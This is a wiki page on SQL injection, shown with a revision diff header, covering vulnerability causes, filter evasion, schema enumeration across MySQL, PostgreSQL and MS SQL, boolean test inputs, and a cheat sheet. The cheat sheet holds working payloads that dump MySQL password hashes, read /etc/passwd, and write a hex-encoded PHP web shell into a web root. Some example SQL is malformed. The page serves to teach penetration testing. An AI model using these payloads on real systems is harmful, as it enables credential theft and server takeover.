Difference between revisions of "SQL injection"
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= Databasing engines compared and contrasted in light of SQL Injection = | = Databasing engines compared and contrasted in light of SQL Injection = | ||
− | {{Warning|Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.}}* '''Similarities between database engines include table and column names, function names, environment variables, and statement syntax.'''{{notice|For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function per sql version.}} | + | {{Warning|Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view.}}* '''Similarities between database engines include table and column names, function names, environment variables, and statement syntax.'''{{notice|For compatibility purposes it is important to be mindful of what functions, environment variables, and tables are ubiquitous. When writing an automated attack tool, it is convenient to be able to use the same function in each SQL dialect, rather than choosing a function per sql version.}}{{Protip|There are enough similarities that it is possible to have a degree of '''universal exploitation'''.}} |
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==Information_Schema== | ==Information_Schema== | ||
All of the databasing engines that presently have an information_schema collection all have the following in common: | All of the databasing engines that presently have an information_schema collection all have the following in common: |
Revision as of 04:00, 25 February 2012
This page is in-progress. Be advised it is not final in any way. |
Contents
- 1 Overview
- 2 Exploitation Obstacles
- 3 SQL Orientation
- 4 Navigating Unfamiliar Databases
- 5 Databasing engines compared and contrasted in light of SQL Injection
- 6 Remote testing for SQL injection vulnerabilities
- 6.1 Vulnerability Characteristics
- 6.2 Testing Inputs
- 6.2.1 Simple "SELECT" Testing : Where clause injection
- 6.2.2 Reconstructing injected Queries
- 6.2.3 Intermediate: "SELECT" Testing : LIMIT, ORDER BY, and GROUP BY
- 6.2.4 Intermediate: "UPDATE" and "INSERT" injection testing using subqueries
- 6.2.5 Advanced: Overcoming extreme environments during testing
- 7 Exploiting SQL Injection Vulnerabilities
- 8 Bypassing improper sanitizing
- 9 Further Penetration
- 10 Cheat Sheets
- 11 Patching SQL Injection Vulnerabilities
- 12 Further Reading
Overview
SQL injection is a method of exploiting web applications performed over http or https to compromise the underlying database engine supporting dynamic content for the web application itself. Successful exploitation of an SQL injection vulnerability can result in the attacker gaining unfettered access to the database and can lead to further privilege escalation. |
Typically databases include things like (but not limited to):
- Authentication credentials
- Other identifying information about a user (like an IP address)
- Site configurations
- Site content and themes
- Communications between users within the site
Cause(s) of vulnerabilities
SQL Injection occurs when input from a user is directly passed to a SQL query by an application. In the context of web applications, user input comes from HTTP input. |
- Un-sanitized user input - The developer made no effort to stop an injection attack
- Improper type handling - An integer sanitized or otherwise treated as a string, or vice versa
- Lack of output filtering - Output from a query that had user input passed to it is used as input in later queries when rendering the page
Potential Target Environments
A variety of environments are vulnerable to SQL injection. Nearly all of the interpreted languages and compiled languages could be used to write a vulnerable application. Databasing engines such as MySQL, PostgreSQL, Microsoft SQL Server, or Oracle could be used in a vulnerable application. |
Exploitation Obstacles
Obstacles can occur on various layers of the OSI model. The software layer may filter your input during its processing. The network layer may be monitored by a NIDS or IPS and begin to drop traffic, add captcha verifications, or redirect you to a honeypot. The HTTP server may also be running a Web Application Firewall. |
Configuration & Environment
Experience says |
---|
Due to certain vulnerabilities requiring the use of boolean enumeration or timing attacks, many HTTP requests may be needed in order to successfully determine database contents, making the process of arbitrarily accessing data quite time consuming and noisy. |
Older versions of database servers may not have an information_schema database and may require a privileged user (like the database server administrator) to access any schema information. |
IDS, IPS, and Web Application Firewalls
Web application firewalls usually operate at the same layer as the HTTP server or application, and thus monitor the protocol and input layers. This is different than normal IDS, which are stand-alone pieces of software or hardware that inspect the network and the host layer. |
Common Web Application Firewalls:
- Mod_Security (Apache)
- Naxsi (Nginx)
- ISAPI Filters (Microsoft IIS)
Common signatures use regular expressions that will match (and block) many common or simple testing techniques. |
Improper Sanitizing
Partial sanitizing
Partial sanitizing may affect any or more (unlisted here) of the following important syntax characters and result in them being encoded in some fashion, escaped, or removed entirely. |
- The single quote character: '
- The double quote character: "
- The tag characters: < and >
- The equals character: =
- The comma character: ,
- The parenthesis characters: ( and )
Deprecated Sanitizing
History says |
---|
PHP's addslashes() function (now deprecated) relied on the unhex() function. The goal of addslashes() was to add an escape (\) behind any single quotes (') entered into a string. When multi-byte character sets (or collations) are in use, this can cause a vulnerability to occur. If a valid multi-byte character ends in 0x5c (the escape), it is possible to circumvent the escape completely by placing the first byte of that character before the single quote. When unhex() is called against the now escaped single-quote, it sees the two bytes as a single character, allowing the quote (0x27) to escape the string unscathed. An example prefix for a non-utf8 character set's multi-byte prefix that accepts 0x5c as an ending is 0xbf, so one could use %bf%27 in a url to bypass the use of addslashes(). |
SQL Orientation
SQL Databases are made up of tables. Tables are created by the developer or architect and are empty on creation. Similar to a spreadsheet, a table's properties are defined by its columns. Columns can be different data types (strings, integers, booleans, floats, binary, etc). |
Basic Queries
SELECT - Select data from a table
Select statements have various clauses. We'll start with some simple data and work our way up.
UPDATE - Modify rows in a table
The UPDATE command is used to update specific rows in a table with a new value. It has the ability to alter a large amount of data with a single query, and as such can be a very dangerous command when access to it is granted to the wrong people.
For example:
UPDATE customers SET age=20 WHERE name='Richard'
This will set the value of the 'name' row in the 'age' column to 20 wherever 'name' is 'Richard'.
Executing this query in an interactive environment will return the number of rows that were altered. If the WHERE clause is omitted, every row in the named table will be edited in accordance with this query.
Updating multiple rows
It is possible to alter the contents of multiple columns in a table with a single UPDATE query in the following manner:
UPDATE customer SET name='Richard' AND age='20' AND paid='yes' WHERE id='4'
INSERT - Add rows to a table
The basic format of the INSERT statement is:
INSERT INTO table (column, column, column) VALUES (value, value, value)
The number of columns and values must be the same.
It is similar to the UPDATE statement in that it allows you to alter the contents of entries in a table. However, the INSERT statement allows you to add a new row to the table specified, inserting data into whichever columns you choose (with a minimum of one) when you initialise it. Any columns not specified are simply left blank.
For example:
INSERT INTO customers (name, age, paid) VALUES ('Richard', '23', 'yes')
DELETE - Delete rows from a table
The format of the DELETE statement is:
DELETE FROM table WHERE column=value
This will delete a row from a table where the column is equal to the value specified. It is relatively simple to use, for example:
DELETE FROM customers WHERE age='20'
The administrator's way
- mysql
show databases show tables [in ...] show fields in [table_name]
- postgresql
\l - Lists all databases \dn - Lists all schemas in the current database \dt - Lists all tables in the current database \d [table_name]- Lists columns in table in the current database
The SQL injection way
Nearly every modern databasing engine has an information_schema database or schema. Important tables that are part of information_schema include schemata,routines,columns, and tables. |
MySQL
- Show Databases equivalent:
select schema_name from information_schema.schemata;
- Show tables equivalent:
select table_name from information_schema.tables where table_schema=[database_name]
- Show fields equivalent:
select column_name from information_schema.columns where table_name=[table_name] and table_schema=[database_name]
PostgreSQL
- \dn Equivalent (Shows all of the schema names)
select schema_name from information_schema.schemata where catalog_name=[database name]
- \dt Equivalent (Shows all of the tables in the schema)
select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=[database name]
- \d [column_name] Equivalent:
select column_name from information_schema.columns where table_name=([table_query]) and table_schema=([schema_query]) and catalog_name=[database_name]
MS SQL
- Listing Tables:
select table_name from information_schema.columns where table_catalog=[database_name] group by table_name;
- Listing Columns:
select column_name from information_schema.columns where table_catalog=[database_name] and table_name=[table_query] group by column_name
Legacy Databases
- sysobjects/msysobjects
- mysql.columns_priv
Databasing engines compared and contrasted in light of SQL Injection
Additional similarities are added each update to the various database engines. Read the manuals for the affected engines to get an up-to-date view. |
Information_Schema
All of the databasing engines that presently have an information_schema collection all have the following in common:
- The information_schema.tables table has a table_name column.
- The information_schema.columns table has both table_name and column_name columns.
- All of them have information_schema.routines and information_schema.schemata
Functions
MS SQL, MySQL, and PostgreSQL share the following functions:
- ascii()
- substring()
MySQL and Postgres share the following functions:
- current_database()
MySQL and MSSQL share the following functions:
- database()
environment variables
MySQL and Postgres share the following variables:
- current_user
Other syntax
PostgreSQL and MySQL now share the same LIMIT syntax:
limit [count] offset [row to start at]
Capabilities
Remote testing for SQL injection vulnerabilities
Make sure to have written authorization from the site owner first! |
Vulnerability Characteristics
Vulnerability types
SQL injection vulnerabilities are typically either standard injection vulnerabilities, error-based vulnerabilities, or blind vulnerabilities, blind being the most difficult of the three. |
- Standard vulnerabilities:
The page can be exploited by using the UNION SELECT or UNION ALL SELECT statements to simply display selected data on the page.
- Error-based vulnerabilities:
Error based vulnerabilities occur when verbose errors from the SQL databasing engine are enabled and displayed on the page. Thus, attackers may use things such as illegal type conversions to throw errors containing data.
- Blind vulnerabilities:
Blind SQL injection vulnerabilities are not only the most difficult to exploit, but also the most time consuming. Timing attacks and boolean enumeration are the only methods of successful exploitation of select statements.
Injection Points
- SELECT ... WHERE clause injection
$query = "select * from table where id=$input";
- SELECT ... LIMIT, OFFSET, ORDER BY, and GROUP BY clause injections
$query = "select * from table limit $input"; $query = "select * from table limit 1 offset $input"; $query = "select * from table order by $input"; $query = "select * from table group by $input";
- UPDATE ... SET clause injection
$query = "update table set var=$input";
- UPDATE ... WHERE clause injection
$query = "update table set var=value where column_name=$input";
- INSERT ... VALUES clause injection
$query = "insert into table values(null,$input)";
Testing Inputs
Vulnerabilities always stem from user input. In web applications, user input may come from a variety of places: forms, cookies, and GET parameters. In order to test for vulnerabilities remotely, researchers test the urls, forms, and cookies associated with the site or software of interest.
Simple "SELECT" Testing : Where clause injection
There are a number of tests that can be employed to determine if a site is vulnerable to SQL injection. The most reliable of these tests consist of boolean challenges that modify the results a query returns. Boolean challenges will return zero rows if conditions are not meant, whereas they will return the same value if the conditions are met. This way researchers are able to determine vulnerability via a "true/false" test. In our first example (using $id) we have an unsanitized integer. The URI (uniform resource indicator) may look something like:
/article_by_id.php?id=10
A researcher could check that uri against:
/article_by_id.php?id=10%20AND%201=1 /article_by_id.php?id=10%20AND%201=0
When a page is vulnerable, the page on
/article_by_id.php?id=10%20AND%201=1 will match the page on /article_by_id.php?id=10, however the page at /article_by_id.php?id=10%20AND%201=0 will have data (and likely the entire article) missing.
In our second example, using $title, the same affect can be achieved with the following URI's:
/article_by_title.php?id=SQL%27%20AND%20%271%27=%270 /article_by_title.php?id=SQL%27%20AND%20%271%27=%271
The same methodology as the integer test applies, merely with added single quotes (%27).
Reconstructing injected Queries
Lets tie it all together. In our $id example, because $id = "10 and 1=1" the queries become:
[original query] $query = "select * from articles where id=$id"; [vulnerability testing query] $query = "select * from articles where id=10 and 1=1"; $query = "select * from articles where id=10 and 1=0";
Or, alternatively, we can look at our $title example:
[original query] $query = "select * from articles where title='$title'"; [vulnerability testing query] $query = "select * from articles where title='SQL' and '1'='0'"; $query = "select * from articles where title='SQL' and '1'='1'";
The values of $id and $title are being passed directly into the SQL query. Because 1 will always equal 1, the results are passed directly back. When the false test (1=0) is applied, no data is returned by the query because there is no row in the database where 1=0. 1 always equals 1.
Intermediate: "SELECT" Testing : LIMIT, ORDER BY, and GROUP BY
To test for injection in a LIMIT clause, it is first necessary to determine which input of the LIMIT clause you are injecting into. We'll use the following example URI:
/view_results.php?start=30&perpage=10
A LIMIT clause may have two different inputs, one being the number of rows to return, the other being what row to start from when selecting the rows. On recent versions of MySQL the limit clause syntax is congruent to PostgreSQL syntax:
limit $perpage offset $start
On older versions of MySQL, the offset operator was not supported. The older query syntax is as follows:
limit $perpage,$start
Intermediate: "UPDATE" and "INSERT" injection testing using subqueries
Advanced: Overcoming extreme environments during testing
Exploiting SQL Injection Vulnerabilities
There are various methods for exploiting various databasing engines, including MySQL, PostgreSQL and Microsoft SQL server. Different engines may require different function names, environment variables, or syntax nuances for proper effectiveness. |
Automation Theory
- Data types of single cells
- Length of single cell strings
- Number of rows returned by a query
Counters:
- Row Counter
- Byte Index Counter
Ordering and grouping:
- Keeping your rows in line..
Basic Injection : Union Select
Intermediate Injection: Verbose error-based information retrieval
Advanced Injection: Boolean Enumeration
Advanced Injection: Timing attacks
Advanced Lookups using Subquery Injection
Bypassing improper sanitizing
Quotes
- 0x[hex]
- ascii codes
Mis-appropriated XSS Filtering (tags)
- between .. and
Commas & Equals Operator
- regular expressions
Whitespace Filtering
- bloody comments
Parenthesis
- limited to environment variables
Further Penetration
Obtaining filesystem access
- load_file()
- select ... into outfile
- load data [local] infile
Obtaining Code Execution
- Via web app
- Via into outfile
Cheat Sheets
Vulnerability Testing
True/False Statements:
- Standard operators (Universal):
True: and 230984752 = 230984752
False: and 1023947182234 = 4382616621386497
- The Between ... And ... operators (Universal):
True: and 238829 between 238826 and 238927
False: and 328961 between 928172 and 986731
- The LIKE operator (Universal):
True: and 'sqltest' like 'sql%'
False: and 'sqltest' like 'not true'
- The REGEXP operator (RLIKE in Microsoft SQL, Universal):
True: and 'sqltest' regexp '^sql'
False: and 'sqltest' regexp '^false'
MySQL Syntax Reference
- Comment notation:
/* [*/] %23 (# urlencoded) --[space]
- Handy functions, statements, and Environment Variables:
version() user() current_database() count([column_name]) from [table_name] length([column_name]) from [table_name] [where or limit] substr([query],[byte_counter],1) concat([column_name],0x2f,[column_name]) from [table_name] [where or limit] group_concat([column_name],0x2f,[column_name]) from [table_name] [where or limit]
- You can evade the need for quotes by using the 0x[hex] operator. An example is "select 0x6a6a". The output is "jj", same as if you were to have run "select 'jj'".
Mysql Versions >= 5 User Schema Mapping (Unprivileged)
- Show Databases Equivilent:
select schema_name from information_schema.schemata limit 1 offset 0
- Show Tables Equivilent
select table_name from information_schema.tables where table_schema=database() limit 1 offset 0
- Show Fields Equivilent
select column_name from information_schema.columns where table_schema=database() and table_name=([table query]) limit 1 offset 0
Privileged Mysql (Any version) User
- Get mysql usernames and password hashes:
select concat(user,0x2f,password) from mysql.user limit 1
- Grab /etc/passwd
select load_file(0x2f6574632f706173737764)
- Dump a small php shell (<?php system($_GET['id']); ?>) into /var/www/localhost/htdocs
select 0x3c3f7068702073797374656d28245f4745545b276964275d293b203f3e into outfile '/var/www/localhost/htdocs/.shell.php'
PostgreSQL Syntax Reference
- Comment notations:
- Handy functions & Environment Variables:
current_database() current_user() chr() ascii() substr()
Quick and common string concatenations:
String concatenation in postgresql is done using the two pipe operators side by side, e.g. "select ". |
- Congruent to select 'BASE TABLE';:
(SELECT CHR(66)||CHR(65)||CHR(83)||CHR(69)||CHR(32)||CHR(84)||CHR(65)||CHR(66)||CHR(76)||CHR(69))
- Congruent to select 'pg_catalog';:
(SELECT CHR(112)||CHR(103)||CHR(95)||CHR(99)||CHR(97)||CHR(116)||CHR(97)||CHR(108)||CHR(111)||CHR(103))
- Congruent to select 'information_schema';:
(SELECT CHR(105)||CHR(110)||CHR(102)||CHR(111)||CHR(114)||CHR(109)||CHR(97)||CHR(116)||CHR(105)||CHR(111)||CHR(110)||CHR(95)||CHR(115)||CHR(99)||CHR(104)||CHR(101)||CHR(109)||CHR(97))
PostgreSQL Schema Mapping
- \dn equivilent:
select schema_name from information_schema.schemata where catalog_name=current_database() limit 1 offset 0
- \dt equivilent:
select table_name from information_schema.tables table_type='BASE TABLE' AND table_schema=([schema_query]) and catalog_name=current_database() limit 1 offset 0
- \d [table_name] equivilent:
select column_name from information_schema.columns where table_name=([table_query]) and table_schema=(schema_query) and catalog_name=current_database() limit 1 offset 0
Microsoft SQL Syntax Reference
Microsoft SQL Schema Mapping (Unprivileged)
select table_name from information_schema.columns where table_catalog=database() group by table_name;
select column_name from information_schema.columns where table_catalog=database() and table_name='tablename' group by column_name
Microsoft SQL Exploitation (Privileged)
Patching SQL Injection Vulnerabilities
Proper type handling and sanitizing
- Ruby
- PHP
- Python
- Perl
Prepared statements
Further Reading
Content:
- SQL Backdoors
- Web exploitation
- MySQL
Tools:
- Mysql 5 Enumerator
- Vanguard
- Wordpress Fingerprinter
External Links:
- mysql 3/4 reference manual
- mysql 5 reference manual
- mysql 6 reference manual
- postgres 7 reference manual
- postgres 8 reference manual
- postgres 9 reference manual
- msdn ms sql resources